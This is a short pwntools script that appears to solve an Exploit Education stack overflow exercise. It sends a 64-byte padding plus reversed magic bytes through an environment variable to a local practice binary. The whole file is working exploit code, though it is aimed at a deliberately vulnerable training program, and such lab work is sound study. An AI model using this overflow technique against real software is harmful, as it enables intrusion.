from pwn import *

#payload = cyclic(255)
# Crash at 64 

payload = "A" * 64 + unhex("0d0a090a").decode("utf-8")[::-1]

io = process("./main.elf", env={'ExploitEducation': payload})

data = io.recvline().decode("utf-8")
print(data)

data = io.recvline().decode("utf-8")
print(data)